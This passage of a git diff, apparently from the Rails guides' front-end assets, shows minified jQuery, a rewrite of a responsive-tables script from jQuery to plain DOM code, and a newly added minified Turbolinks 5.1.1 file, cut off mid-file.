i=this;f.ajax({url:a,type:h,dataType:"html",data:c,complete:function(a,b,c){c=a.responseText,a.isResolved()&&(a.done(function(a){c=a}),i.html(g?f("<div>").append(c.replace(bM,"")).find(g):c)),d&&i.each(d,[c,b,a])}});return this},serialize:function(){return f.param(this.serializeArray())},serializeArray:function(){return this.map(function(){return this.elements?f.makeArray(this.elements):this}).filter(function(){return this.name&&!this.disabled&&(this.checked||bN.test(this.nodeName)||bH.test(this.type))}).map(function(a,b){var c=f(this).val();return c==null?null:f.isArray(c)?f.map(c,function(a,c){return{name:b.name,value:a.replace(bE,"\r\n")}}):{name:b.name,value:c.replace(bE,"\r\n")}}).get()}}),f.each("ajaxStart ajaxStop ajaxComplete ajaxError ajaxSuccess ajaxSend".split(" "),function(a,b){f.fn[b]=function(a){return this.on(b,a)}}),f.each(["get","post"],function(a,c){f[c]=function(a,d,e,g){f.isFunction(d)&&(g=g||e,e=d,d=b);return f.ajax({type:c,url:a,data:d,success:e,dataType:g})}}),f.extend({getScript:function(a,c){return f.get(a,b,c,"script")},getJSON:function(a,b,c){return f.get(a,b,c,"json")},ajaxSetup:function(a,b){b?b$(a,f.ajaxSettings):(b=a,a=f.ajaxSettings),b$(a,b);return a},ajaxSettings:{url:bU,isLocal:bI.test(bV[1]),global:!0,type:"GET",contentType:"application/x-www-form-urlencoded; charset=UTF-8",processData:!0,async:!0,accepts:{xml:"application/xml, text/xml",html:"text/html",text:"text/plain",json:"application/json, text/javascript","*":bW},contents:{xml:/xml/,html:/html/,json:/json/},responseFields:{xml:"responseXML",text:"responseText"},converters:{"* text":a.String,"text html":!0,"text json":f.parseJSON,"text xml":f.parseXML},flatOptions:{context:!0,url:!0}},ajaxPrefilter:bY(bS),ajaxTransport:bY(bT),ajax:function(a,c){function w(a,c,l,m){if(s!==2){s=2,q&&clearTimeout(q),p=b,n=m||"",v.readyState=a>0?4:0;var o,r,u,w=c,x=l?ca(d,v,l):b,y,z;if(a>=200&&a<300||a===304){if(d.ifModified){if(y=v.getResponseHeader("Last-Modified"))f.lastModified[k]=y;if(z=v.getResponseHeader("Etag"))f.etag[k]=z}if(a===304)w="notmodified",o=!0;else try{r=cb(d,x),w="success",o=!0}catch(A){w="parsererror",u=A}}else{u=w;if(!w||a)w="error",a<0&&(a=0)}v.status=a,v.statusText=""+(c||w),o?h.resolveWith(e,[r,w,v]):h.rejectWith(e,[v,w,u]),v.statusCode(j),j=b,t&&g.trigger("ajax"+(o?"Success":"Error"),[v,d,o?r:u]),i.fireWith(e,[v,w]),t&&(g.trigger("ajaxComplete",[v,d]),--f.active||f.event.trigger("ajaxStop"))}}typeof a=="object"&&(c=a,a=b),c=c||{};var d=f.ajaxSetup({},c),e=d.context||d,g=e!==d&&(e.nodeType||e instanceof f)?f(e):f.event,h=f.Deferred(),i=f.Callbacks("once memory"),j=d.statusCode||{},k,l={},m={},n,o,p,q,r,s=0,t,u,v={readyState:0,setRequestHeader:function(a,b){if(!s){var c=a.toLowerCase();a=m[c]=m[c]||a,l[a]=b}return this},getAllResponseHeaders:function(){return s===2?n:null},getResponseHeader:function(a){var c;if(s===2){if(!o){o={};while(c=bG.exec(n))o[c[1].toLowerCase()]=c[2]}c=o[a.toLowerCase()]}return c===b?null:c},overrideMimeType:function(a){s||(d.mimeType=a);return this},abort:function(a){a=a||"abort",p&&p.abort(a),w(0,a);return this}};h.promise(v),v.success=v.done,v.error=v.fail,v.complete=i.add,v.statusCode=function(a){if(a){var b;if(s<2)for(b in a)j[b]=[j[b],a[b]];else b=a[v.status],v.then(b,b)}return this},d.url=((a||d.url)+"").replace(bF,"").replace(bK,bV[1]+"//"),d.dataTypes=f.trim(d.dataType||"*").toLowerCase().split(bO),d.crossDomain==null&&(r=bQ.exec(d.url.toLowerCase()),d.crossDomain=!(!r||r[1]==bV[1]&&r[2]==bV[2]&&(r[3]||(r[1]==="http:"?80:443))==(bV[3]||(bV[1]==="http:"?80:443)))),d.data&&d.processData&&typeof d.data!="string"&&(d.data=f.param(d.data,d.traditional)),bZ(bS,d,c,v);if(s===2)return!1;t=d.global,d.type=d.type.toUpperCase(),d.hasContent=!bJ.test(d.type),t&&f.active++===0&&f.event.trigger("ajaxStart");if(!d.hasContent){d.data&&(d.url+=(bL.test(d.url)?"&":"?")+d.data,delete d.data),k=d.url;if(d.cache===!1){var x=f.now(),y=d.url.replace(bP,"$1_="+x);d.url=y+(y===d.url?(bL.test(d.url)?"&":"?")+"_="+x:"")}}(d.data&&d.hasContent&&d.contentType!==!1||c.contentType)&&v.setRequestHeader("Content-Type",d.contentType),d.ifModified&&(k=k||d.url,f.lastModified[k]&&v.setRequestHeader("If-Modified-Since",f.lastModified[k]),f.etag[k]&&v.setRequestHeader("If-None-Match",f.etag[k])),v.setRequestHeader("Accept",d.dataTypes[0]&&d.accepts[d.dataTypes[0]]?d.accepts[d.dataTypes[0]]+(d.dataTypes[0]!=="*"?", "+bW+"; q=0.01":""):d.accepts["*"]);for(u in d.headers)v.setRequestHeader(u,d.headers[u]);if(d.beforeSend&&(d.beforeSend.call(e,v,d)===!1||s===2)){v.abort();return!1}for(u in{success:1,error:1,complete:1})v[u](d[u]);p=bZ(bT,d,c,v);if(!p)w(-1,"No Transport");else{v.readyState=1,t&&g.trigger("ajaxSend",[v,d]),d.async&&d.timeout>0&&(q=setTimeout(function(){v.abort("timeout")},d.timeout));try{s=1,p.send(l,w)}catch(z){if(s<2)w(-1,z);else throw z}}return v},param:function(a,c){var d=[],e=function(a,b){b=f.isFunction(b)?b():b,d[d.length]=encodeURIComponent(a)+"="+encodeURIComponent(b)};c===b&&(c=f.ajaxSettings.traditional);if(f.isArray(a)||a.jquery&&!f.isPlainObject(a))f.each(a,function(){e(this.name,this.value)});else for(var g in a)b_(g,a[g],c,e);return d.join("&").replace(bC,"+")}}),f.extend({active:0,lastModified:{},etag:{}});var cc=f.now(),cd=/(\=)\?(&|$)|\?\?/i;f.ajaxSetup({jsonp:"callback",jsonpCallback:function(){return f.expando+"_"+cc++}}),f.ajaxPrefilter("json jsonp",function(b,c,d){var e=typeof b.data=="string"&&/^application\/x\-www\-form\-urlencoded/.test(b.contentType);if(b.dataTypes[0]==="jsonp"||b.jsonp!==!1&&(cd.test(b.url)||e&&cd.test(b.data))){var g,h=b.jsonpCallback=f.isFunction(b.jsonpCallback)?b.jsonpCallback():b.jsonpCallback,i=a[h],j=b.url,k=b.data,l="$1"+h+"$2";b.jsonp!==!1&&(j=j.replace(cd,l),b.url===j&&(e&&(k=k.replace(cd,l)),b.data===k&&(j+=(/\?/.test(j)?"&":"?")+b.jsonp+"="+h))),b.url=j,b.data=k,a[h]=function(a){g=[a]},d.always(function(){a[h]=i,g&&f.isFunction(i)&&a[h](g[0])}),b.converters["script json"]=function(){g||f.error(h+" was not called");return g[0]},b.dataTypes[0]="json";return"script"}}),f.ajaxSetup({accepts:{script:"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript"},contents:{script:/javascript|ecmascript/},converters:{"text script":function(a){f.globalEval(a);return a}}}),f.ajaxPrefilter("script",function(a){a.cache===b&&(a.cache=!1),a.crossDomain&&(a.type="GET",a.global=!1)}),f.ajaxTransport("script",function(a){if(a.crossDomain){var d,e=c.head||c.getElementsByTagName("head")[0]||c.documentElement;return{send:function(f,g){d=c.createElement("script"),d.async="async",a.scriptCharset&&(d.charset=a.scriptCharset),d.src=a.url,d.onload=d.onreadystatechange=function(a,c){if(c||!d.readyState||/loaded|complete/.test(d.readyState))d.onload=d.onreadystatechange=null,e&&d.parentNode&&e.removeChild(d),d=b,c||g(200,"success")},e.insertBefore(d,e.firstChild)},abort:function(){d&&d.onload(0,1)}}}});var ce=a.ActiveXObject?function(){for(var a in cg)cg[a](0,1)}:!1,cf=0,cg;f.ajaxSettings.xhr=a.ActiveXObject?function(){return!this.isLocal&&ch()||ci()}:ch,function(a){f.extend(f.support,{ajax:!!a,cors:!!a&&"withCredentials"in a})}(f.ajaxSettings.xhr()),f.support.ajax&&f.ajaxTransport(function(c){if(!c.crossDomain||f.support.cors){var d;return{send:function(e,g){var h=c.xhr(),i,j;c.username?h.open(c.type,c.url,c.async,c.username,c.password):h.open(c.type,c.url,c.async);if(c.xhrFields)for(j in c.xhrFields)h[j]=c.xhrFields[j];c.mimeType&&h.overrideMimeType&&h.overrideMimeType(c.mimeType),!c.crossDomain&&!e["X-Requested-With"]&&(e["X-Requested-With"]="XMLHttpRequest");try{for(j in e)h.setRequestHeader(j,e[j])}catch(k){}h.send(c.hasContent&&c.data||null),d=function(a,e){var j,k,l,m,n;try{if(d&&(e||h.readyState===4)){d=b,i&&(h.onreadystatechange=f.noop,ce&&delete cg[i]);if(e)h.readyState!==4&&h.abort();else{j=h.status,l=h.getAllResponseHeaders(),m={},n=h.responseXML,n&&n.documentElement&&(m.xml=n);try{m.text=h.responseText}catch(a){}try{k=h.statusText}catch(o){k=""}!j&&c.isLocal&&!c.crossDomain?j=m.text?200:404:j===1223&&(j=204)}}}catch(p){e||g(-1,p)}m&&g(j,k,m,l)},!c.async||h.readyState===4?d():(i=++cf,ce&&(cg||(cg={},f(a).unload(ce)),cg[i]=d),h.onreadystatechange=d)},abort:function(){d&&d(0,1)}}}});var cj={},ck,cl,cm=/^(?:toggle|show|hide)$/,cn=/^([+\-]=)?([\d+.\-]+)([a-z%]*)$/i,co,cp=[["height","marginTop","marginBottom","paddingTop","paddingBottom"],["width","marginLeft","marginRight","paddingLeft","paddingRight"],["opacity"]],cq;f.fn.extend({show:function(a,b,c){var d,e;if(a||a===0)return this.animate(ct("show",3),a,b,c);for(var g=0,h=this.length;g<h;g++)d=this[g],d.style&&(e=d.style.display,!f._data(d,"olddisplay")&&e==="none"&&(e=d.style.display=""),(e===""&&f.css(d,"display")==="none"||!f.contains(d.ownerDocument.documentElement,d))&&f._data(d,"olddisplay",cu(d.nodeName)));for(g=0;g<h;g++){d=this[g];if(d.style){e=d.style.display;if(e===""||e==="none")d.style.display=f._data(d,"olddisplay")||""}}return this},hide:function(a,b,c){if(a||a===0)return this.animate(ct("hide",3),a,b,c);var d,e,g=0,h=this.length;for(;g<h;g++)d=this[g],d.style&&(e=f.css(d,"display"),e!=="none"&&!f._data(d,"olddisplay")&&f._data(d,"olddisplay",e));for(g=0;g<h;g++)this[g].style&&(this[g].style.display="none");return this},_toggle:f.fn.toggle,toggle:function(a,b,c){var d=typeof a=="boolean";f.isFunction(a)&&f.isFunction(b)?this._toggle.apply(this,arguments):a==null||d?this.each(function(){var b=d?a:f(this).is(":hidden");f(this)[b?"show":"hide"]()}):this.animate(ct("toggle",3),a,b,c);return this},fadeTo:function(a,b,c,d){return this.filter(":hidden").css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){function g(){e.queue===!1&&f._mark(this);var b=f.extend({},e),c=this.nodeType===1,d=c&&f(this).is(":hidden"),g,h,i,j,k,l,m,n,o,p,q;b.animatedProperties={};for(i in a){g=f.camelCase(i),i!==g&&(a[g]=a[i],delete a[i]);if((k=f.cssHooks[g])&&"expand"in k){l=k.expand(a[g]),delete a[g];for(i in l)i in a||(a[i]=l[i])}}for(g in a){h=a[g],f.isArray(h)?(b.animatedProperties[g]=h[1],h=a[g]=h[0]):b.animatedProperties[g]=b.specialEasing&&b.specialEasing[g]||b.easing||"swing";if(h==="hide"&&d||h==="show"&&!d)return b.complete.call(this);c&&(g==="height"||g==="width")&&(b.overflow=[this.style.overflow,this.style.overflowX,this.style.overflowY],f.css(this,"display")==="inline"&&f.css(this,"float")==="none"&&(!f.support.inlineBlockNeedsLayout||cu(this.nodeName)==="inline"?this.style.display="inline-block":this.style.zoom=1))}b.overflow!=null&&(this.style.overflow="hidden");for(i in a)j=new f.fx(this,b,i),h=a[i],cm.test(h)?(q=f._data(this,"toggle"+i)||(h==="toggle"?d?"show":"hide":0),q?(f._data(this,"toggle"+i,q==="show"?"hide":"show"),j[q]()):j[h]()):(m=cn.exec(h),n=j.cur(),m?(o=parseFloat(m[2]),p=m[3]||(f.cssNumber[i]?"":"px"),p!=="px"&&(f.style(this,i,(o||1)+p),n=(o||1)/j.cur()*n,f.style(this,i,n+p)),m[1]&&(o=(m[1]==="-="?-1:1)*o+n),j.custom(n,o,p)):j.custom(n,h,""));return!0}var e=f.speed(b,c,d);if(f.isEmptyObject(a))return this.each(e.complete,[!1]);a=f.extend({},a);return e.queue===!1?this.each(g):this.queue(e.queue,g)},stop:function(a,c,d){typeof a!="string"&&(d=c,c=a,a=b),c&&a!==!1&&this.queue(a||"fx",[]);return this.each(function(){function h(a,b,c){var e=b[c];f.removeData(a,c,!0),e.stop(d)}var b,c=!1,e=f.timers,g=f._data(this);d||f._unmark(!0,this);if(a==null)for(b in g)g[b]&&g[b].stop&&b.indexOf(".run")===b.length-4&&h(this,g,b);else g[b=a+".run"]&&g[b].stop&&h(this,g,b);for(b=e.length;b--;)e[b].elem===this&&(a==null||e[b].queue===a)&&(d?e[b](!0):e[b].saveState(),c=!0,e.splice(b,1));(!d||!c)&&f.dequeue(this,a)})}}),f.each({slideDown:ct("show",1),slideUp:ct("hide",1),slideToggle:ct("toggle",1),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){f.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),f.extend({speed:function(a,b,c){var d=a&&typeof a=="object"?f.extend({},a):{complete:c||!c&&b||f.isFunction(a)&&a,duration:a,easing:c&&b||b&&!f.isFunction(b)&&b};d.duration=f.fx.off?0:typeof d.duration=="number"?d.duration:d.duration in f.fx.speeds?f.fx.speeds[d.duration]:f.fx.speeds._default;if(d.queue==null||d.queue===!0)d.queue="fx";d.old=d.complete,d.complete=function(a){f.isFunction(d.old)&&d.old.call(this),d.queue?f.dequeue(this,d.queue):a!==!1&&f._unmark(this)};return d},easing:{linear:function(a){return a},swing:function(a){return-Math.cos(a*Math.PI)/2+.5}},timers:[],fx:function(a,b,c){this.options=b,this.elem=a,this.prop=c,b.orig=b.orig||{}}}),f.fx.prototype={update:function(){this.options.step&&this.options.step.call(this.elem,this.now,this),(f.fx.step[this.prop]||f.fx.step._default)(this)},cur:function(){if(this.elem[this.prop]!=null&&(!this.elem.style||this.elem.style[this.prop]==null))return this.elem[this.prop];var a,b=f.css(this.elem,this.prop);return isNaN(a=parseFloat(b))?!b||b==="auto"?0:b:a},custom:function(a,c,d){function h(a){return e.step(a)}var e=this,g=f.fx;this.startTime=cq||cr(),this.end=c,this.now=this.start=a,this.pos=this.state=0,this.unit=d||this.unit||(f.cssNumber[this.prop]?"":"px"),h.queue=this.options.queue,h.elem=this.elem,h.saveState=function(){f._data(e.elem,"fxshow"+e.prop)===b&&(e.options.hide?f._data(e.elem,"fxshow"+e.prop,e.start):e.options.show&&f._data(e.elem,"fxshow"+e.prop,e.end))},h()&&f.timers.push(h)&&!co&&(co=setInterval(g.tick,g.interval))},show:function(){var a=f._data(this.elem,"fxshow"+this.prop);this.options.orig[this.prop]=a||f.style(this.elem,this.prop),this.options.show=!0,a!==b?this.custom(this.cur(),a):this.custom(this.prop==="width"||this.prop==="height"?1:0,this.cur()),f(this.elem).show()},hide:function(){this.options.orig[this.prop]=f._data(this.elem,"fxshow"+this.prop)||f.style(this.elem,this.prop),this.options.hide=!0,this.custom(this.cur(),0)},step:function(a){var b,c,d,e=cq||cr(),g=!0,h=this.elem,i=this.options;if(a||e>=i.duration+this.startTime){this.now=this.end,this.pos=this.state=1,this.update(),i.animatedProperties[this.prop]=!0;for(b in i.animatedProperties)i.animatedProperties[b]!==!0&&(g=!1);if(g){i.overflow!=null&&!f.support.shrinkWrapBlocks&&f.each(["","X","Y"],function(a,b){h.style["overflow"+b]=i.overflow[a]}),i.hide&&f(h).hide();if(i.hide||i.show)for(b in i.animatedProperties)f.style(h,b,i.orig[b]),f.removeData(h,"fxshow"+b,!0),f.removeData(h,"toggle"+b,!0);d=i.complete,d&&(i.complete=!1,d.call(h))}return!1}i.duration==Infinity?this.now=e:(c=e-this.startTime,this.state=c/i.duration,this.pos=f.easing[i.animatedProperties[this.prop]](this.state,c,0,1,i.duration),this.now=this.start+(this.end-this.start)*this.pos),this.update();return!0}},f.extend(f.fx,{tick:function(){var a,b=f.timers,c=0;for(;c<b.length;c++)a=b[c],!a()&&b[c]===a&&b.splice(c--,1);b.length||f.fx.stop()},interval:13,stop:function(){clearInterval(co),co=null},speeds:{slow:600,fast:200,_default:400},step:{opacity:function(a){f.style(a.elem,"opacity",a.now)},_default:function(a){a.elem.style&&a.elem.style[a.prop]!=null?a.elem.style[a.prop]=a.now+a.unit:a.elem[a.prop]=a.now}}}),f.each(cp.concat.apply([],cp),function(a,b){b.indexOf("margin")&&(f.fx.step[b]=function(a){f.style(a.elem,b,Math.max(0,a.now)+a.unit)})}),f.expr&&f.expr.filters&&(f.expr.filters.animated=function(a){return f.grep(f.timers,function(b){return a===b.elem}).length});var cv,cw=/^t(?:able|d|h)$/i,cx=/^(?:body|html)$/i;"getBoundingClientRect"in c.documentElement?cv=function(a,b,c,d){try{d=a.getBoundingClientRect()}catch(e){}if(!d||!f.contains(c,a))return d?{top:d.top,left:d.left}:{top:0,left:0};var g=b.body,h=cy(b),i=c.clientTop||g.clientTop||0,j=c.clientLeft||g.clientLeft||0,k=h.pageYOffset||f.support.boxModel&&c.scrollTop||g.scrollTop,l=h.pageXOffset||f.support.boxModel&&c.scrollLeft||g.scrollLeft,m=d.top+k-i,n=d.left+l-j;return{top:m,left:n}}:cv=function(a,b,c){var d,e=a.offsetParent,g=a,h=b.body,i=b.defaultView,j=i?i.getComputedStyle(a,null):a.currentStyle,k=a.offsetTop,l=a.offsetLeft;while((a=a.parentNode)&&a!==h&&a!==c){if(f.support.fixedPosition&&j.position==="fixed")break;d=i?i.getComputedStyle(a,null):a.currentStyle,k-=a.scrollTop,l-=a.scrollLeft,a===e&&(k+=a.offsetTop,l+=a.offsetLeft,f.support.doesNotAddBorder&&(!f.support.doesAddBorderForTableAndCells||!cw.test(a.nodeName))&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),g=e,e=a.offsetParent),f.support.subtractsBorderForOverflowNotVisible&&d.overflow!=="visible"&&(k+=parseFloat(d.borderTopWidth)||0,l+=parseFloat(d.borderLeftWidth)||0),j=d}if(j.position==="relative"||j.position==="static")k+=h.offsetTop,l+=h.offsetLeft;f.support.fixedPosition&&j.position==="fixed"&&(k+=Math.max(c.scrollTop,h.scrollTop),l+=Math.max(c.scrollLeft,h.scrollLeft));return{top:k,left:l}},f.fn.offset=function(a){if(arguments.length)return a===b?this:this.each(function(b){f.offset.setOffset(this,a,b)});var c=this[0],d=c&&c.ownerDocument;if(!d)return null;if(c===d.body)return f.offset.bodyOffset(c);return cv(c,d,d.documentElement)},f.offset={bodyOffset:function(a){var b=a.offsetTop,c=a.offsetLeft;f.support.doesNotIncludeMarginInBodyOffset&&(b+=parseFloat(f.css(a,"marginTop"))||0,c+=parseFloat(f.css(a,"marginLeft"))||0);return{top:b,left:c}},setOffset:function(a,b,c){var d=f.css(a,"position");d==="static"&&(a.style.position="relative");var e=f(a),g=e.offset(),h=f.css(a,"top"),i=f.css(a,"left"),j=(d==="absolute"||d==="fixed")&&f.inArray("auto",[h,i])>-1,k={},l={},m,n;j?(l=e.position(),m=l.top,n=l.left):(m=parseFloat(h)||0,n=parseFloat(i)||0),f.isFunction(b)&&(b=b.call(a,c,g)),b.top!=null&&(k.top=b.top-g.top+m),b.left!=null&&(k.left=b.left-g.left+n),"using"in b?b.using.call(a,k):e.css(k)}},f.fn.extend({position:function(){if(!this[0])return null;var a=this[0],b=this.offsetParent(),c=this.offset(),d=cx.test(b[0].nodeName)?{top:0,left:0}:b.offset();c.top-=parseFloat(f.css(a,"marginTop"))||0,c.left-=parseFloat(f.css(a,"marginLeft"))||0,d.top+=parseFloat(f.css(b[0],"borderTopWidth"))||0,d.left+=parseFloat(f.css(b[0],"borderLeftWidth"))||0;return{top:c.top-d.top,left:c.left-d.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||c.body;while(a&&!cx.test(a.nodeName)&&f.css(a,"position")==="static")a=a.offsetParent;return a})}}),f.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(a,c){var d=/Y/.test(c);f.fn[a]=function(e){return f.access(this,function(a,e,g){var h=cy(a);if(g===b)return h?c in h?h[c]:f.support.boxModel&&h.document.documentElement[e]||h.document.body[e]:a[e];h?h.scrollTo(d?f(h).scrollLeft():g,d?g:f(h).scrollTop()):a[e]=g},a,e,arguments.length,null)}}),f.each({Height:"height",Width:"width"},function(a,c){var d="client"+a,e="scroll"+a,g="offset"+a;f.fn["inner"+a]=function(){var a=this[0];return a?a.style?parseFloat(f.css(a,c,"padding")):this[c]():null},f.fn["outer"+a]=function(a){var b=this[0];return b?b.style?parseFloat(f.css(b,c,a?"margin":"border")):this[c]():null},f.fn[c]=function(a){return f.access(this,function(a,c,h){var i,j,k,l;if(f.isWindow(a)){i=a.document,j=i.documentElement[d];return f.support.boxModel&&j||i.body&&i.body[d]||j}if(a.nodeType===9){i=a.documentElement;if(i[d]>=i[e])return i[d];return Math.max(a.body[e],i[e],a.body[g],i[g])}if(h===b){k=f.css(a,c),l=parseFloat(k);return f.isNumeric(l)?l:k}f(a).css(c,h)},c,a,arguments.length,null)}}),a.jQuery=a.$=f,typeof define=="function"&&define.amd&&define.amd.jQuery&&define("jquery",[],function(){return f})})(window); \ No newline at end of file
diff --git a/guides/assets/javascripts/responsive-tables.js b/guides/assets/javascripts/responsive-tables.js
index 8554a1343b..1c0f28c993 100644
--- a/guides/assets/javascripts/responsive-tables.js
+++ b/guides/assets/javascripts/responsive-tables.js
@@ -1,43 +1,46 @@
-$(document).ready(function() {
+(function() {
+ "use strict";
+
var switched = false;
- $("table").not(".syntaxhighlighter").addClass("responsive");
+
var updateTables = function() {
- if (($(window).width() < 767) && !switched ){
+ if (document.documentElement.clientWidth < 767 && !switched) {
switched = true;
- $("table.responsive").each(function(i, element) {
- splitTable($(element));
- });
- return true;
- }
- else if (switched && ($(window).width() > 767)) {
+ each(document.querySelectorAll("table.responsive"), splitTable);
+ } else {
switched = false;
- $("table.responsive").each(function(i, element) {
- unsplitTable($(element));
- });
+ each(document.querySelectorAll(".table-wrapper table.responsive"), unsplitTable);
}
- };
-
- $(window).load(updateTables);
- $(window).bind("resize", updateTables);
-
-
- function splitTable(original)
- {
- original.wrap("<div class='table-wrapper' />");
-
- var copy = original.clone();
- copy.find("td:not(:first-child), th:not(:first-child)").css("display", "none");
- copy.removeClass("responsive");
-
- original.closest(".table-wrapper").append(copy);
- copy.wrap("<div class='pinned' />");
- original.wrap("<div class='scrollable' />");
- }
-
- function unsplitTable(original) {
- original.closest(".table-wrapper").find(".pinned").remove();
- original.unwrap();
- original.unwrap();
- }
-
-});
+ }
+
+ document.addEventListener("turbolinks:load", function() {
+ each(document.querySelectorAll(":not(.syntaxhighlighter)>table"), function(element) {
+ element.classList.add("responsive");
+ });
+ updateTables();
+ });
+
+ window.addEventListener("resize", updateTables);
+
+ var splitTable = function(original) {
+ wrap(original, createElement("div", "table-wrapper"));
+
+ var copy = original.cloneNode(true);
+ each(copy.querySelectorAll("td:not(:first-child), th:not(:first-child)"), function(element) {
+ element.style.display = "none";
+ });
+ copy.classList.remove("responsive");
+
+ original.parentNode.append(copy);
+ wrap(copy, createElement("div", "pinned"))
+ wrap(original, createElement("div", "scrollable"));
+ }
+
+ var unsplitTable = function(original) {
+ each(document.querySelectorAll(".table-wrapper .pinned"), function(element) {
+ element.parentNode.removeChild(element);
+ });
+ unwrap(original.parentNode);
+ unwrap(original);
+ }
+}).call(this);
diff --git a/guides/assets/javascripts/turbolinks.js b/guides/assets/javascripts/turbolinks.js
new file mode 100644
index 0000000000..686283c7f0
--- /dev/null
+++ b/guides/assets/javascripts/turbolinks.js
@@ -0,0 +1,6 @@
+/*
+Turbolinks 5.1.1
+Copyright © 2018 Basecamp, LLC
+ */
+(function(){var t=this;(function(){(function(){this.Turbolinks={supported:function(){return null!=window.history.pushState&&null!=window.requestAnimationFrame&&null!=window.addEventListener}(),visit:function(t,r){return e.controller.visit(t,r)},clearCache:function(){return e.controller.clearCache()},setProgressBarDelay:function(t){return e.controller.setProgressBarDelay(t)}}}).call(this)}).call(t);var e=t.Turbolinks;(function(){(function(){var t,r,n,o=[].slice;e.copyObject=function(t){var e,r,n;r={};for(e in t)n=t[e],r[e]=n;return r},e.closest=function(e,r){return t.call(e,r)},t=function(){var t,e;return t=document.documentElement,null!=(e=t.closest)?e:function(t){var e;for(e=this;e;){if(e.nodeType===Node.ELEMENT_NODE&&r.call(e,t))return e;e=e.parentNode}}}(),e.defer=function(t){return setTimeout(t,1)},e.throttle=function(t){var e;return e=null,function(){var r;return r=1<=arguments.length?o.call(arguments,0):[],null!=e?e:e=requestAnimationFrame(function(n){return function(){return e=null,t.apply(n,r)}}(this))}},e.dispatch=function(t,e){var r,o,i,s,a,u;return a=null!=e?e:{},u=a.target,r=a.cancelable,o=a.data,i=document.createEvent("Events"),i.initEvent(t,!0,r===!0),i.data=null!=o?o:{},i.cancelable&&!n&&(s=i.preventDefault,i.preventDefault=function(){return this.defaultPrevented||Object.defineProperty(this,"defaultPrevented",{get:function(){return!0}}),s.call(this)}),(null!=u?u:document).dispatchEvent(i),i},n=function(){var t;return t=document.createEvent("Events"),t.initEvent("test",!0,!0),t.preventDefault(),t.defaultPrevented}(),e.match=function(t,e){return r.call(t,e)},r=function(){var t,e,r,n;return t=document.documentElement,null!=(e=null!=(r=null!=(n=t.matchesSelector)?n:t.webkitMatchesSelector)?r:t.msMatchesSelector)?e:t.mozMatchesSelector}(),e.uuid=function(){var t,e,r;for(r="",t=e=1;36>=e;t=++e)r+=9===t||14===t||19===t||24===t?"-":15===t?"4":20===t?(Math.floor(4*Math.random())+8).toString(16):Math.floor(15*Math.random()).toString(16);return r}}).call(this),function(){e.Location=function(){function t(t){var e,r;null==t&&(t=""),r=document.createElement("a"),r.href=t.toString(),this.absoluteURL=r.href,e=r.hash.length,2>e?this.requestURL=this.absoluteURL:(this.requestURL=this.absoluteURL.slice(0,-e),this.anchor=r.hash.slice(1))}var e,r,n,o;return t.wrap=function(t){return t instanceof this?t:new this(t)},t.prototype.getOrigin=function(){return this.absoluteURL.split("/",3).join("/")},t.prototype.getPath=function(){var t,e;return null!=(t=null!=(e=this.requestURL.match(/\/\/[^\/]*(\/[^?;]*)/))?e[1]:void 0)?t:"/"},t.prototype.getPathComponents=function(){return this.getPath().split("/").slice(1)},t.prototype.getLastPathComponent=function(){return this.getPathComponents().slice(-1)[0]},t.prototype.getExtension=function(){var t,e;return null!=(t=null!=(e=this.getLastPathComponent().match(/\.[^.]*$/))?e[0]:void 0)?t:""},t.prototype.isHTML=function(){return this.getExtension().match(/^(?:|\.(?:htm|html|xhtml))$/)},t.prototype.isPrefixedBy=function(t){var e;return e=r(t),this.isEqualTo(t)||o(this.absoluteURL,e)},t.prototype.isEqualTo=function(t){return this.absoluteURL===(null!=t?t.absoluteURL:void 0)},t.prototype.toCacheKey=function(){return this.requestURL},t.prototype.toJSON=function(){return this.absoluteURL},t.prototype.toString=function(){return this.absoluteURL},t.prototype.valueOf=function(){return this.absoluteURL},r=function(t){return e(t.getOrigin()+t.getPath())},e=function(t){return n(t,"/")?t:t+"/"},o=function(t,e){return t.slice(0,e.length)===e},n=function(t,e){return t.slice(-e.length)===e},t}()}.call(this),function(){var t=function(t,e){return function(){return t.apply(e,arguments)}};e.HttpRequest=function(){function r(r,n,o){this.delegate=r,this.requestCanceled=t(this.requestCanceled,this),this.requestTimedOut=t(this.requestTimedOut,this),this.requestFailed=t(this.requestFailed,this),this.requestLoaded=t(this.requestLoaded,this),this.requestProgressed=t(this.requestProgressed,this),this.url=e.Location.wrap(n).requestURL,this.referrer=e.Location.wrap(o).absoluteURL,this.createXHR()}return r.NETWORK_FAILURE=0,r.TIMEOUT_FAILURE=-1,r.timeout=60,r.prototype.send=function(){var t;return this.xhr&&!this.sent?(this.notifyApplicationBeforeRequestStart(),this.setProgress(0),this.xhr.send(),this.sent=!0,"function"==typeof(t=this.delegate).requestStarted?t.requestStarted():void 0):void 0},r.prototype.cancel=function(){return this.xhr&&this.sent?this.xhr.abort():void 0},r.prototype.requestProgressed=function(t){return t.lengthComputable?this.setProgress(t.loaded/t.total):void 0},r.prototype.requestLoaded=function(){return this.endRequest(function(t){return function(){var e;return 200<=(e=t.xhr.status)&&300>e?t.delegate.requestCompletedWithResponse(t.xhr.responseText,t.xhr.getResponseHeader("Turbolinks-Location")):(t.failed=!0,t.delegate.requestFailedWithStatusCode(t.xhr.status,t.xhr.responseText))}}(this))},r.prototype.requestFailed=function(){return this.endRequest(function(t){return function(){return t.failed=!0,t.delegate.requestFailedWithStatusCode(t.constructor.NETWORK_FAILURE)}}(this))},r.prototype.requestTimedOut=function(){return this.endRequest(function(t){return function(){return t.failed=!0,t.delegate.requestFailedWithStatusCode(t.constructor.TIMEOUT_FAILURE)}}(this))},r.prototype.requestCanceled=function(){return this.endRequest()},r.prototype.notifyApplicationBeforeRequestStart=function(){return e.dispatch("turbolinks:request-start",{data:{url:this.url,xhr:this.xhr}})},r.prototype.notifyApplicationAfterRequestEnd=function(){return e.dispatch("turbolinks:request-end",{data:{url:this.url,xhr:this.xhr}})},r.prototype.createXHR=function(){return this.xhr=new XMLHttpRequest,this.xhr.open("GET",this.url,!0),this.xhr.timeout=1e3*this.constructor.timeout,this.xhr.setRequestHeader("Accept","text/html, 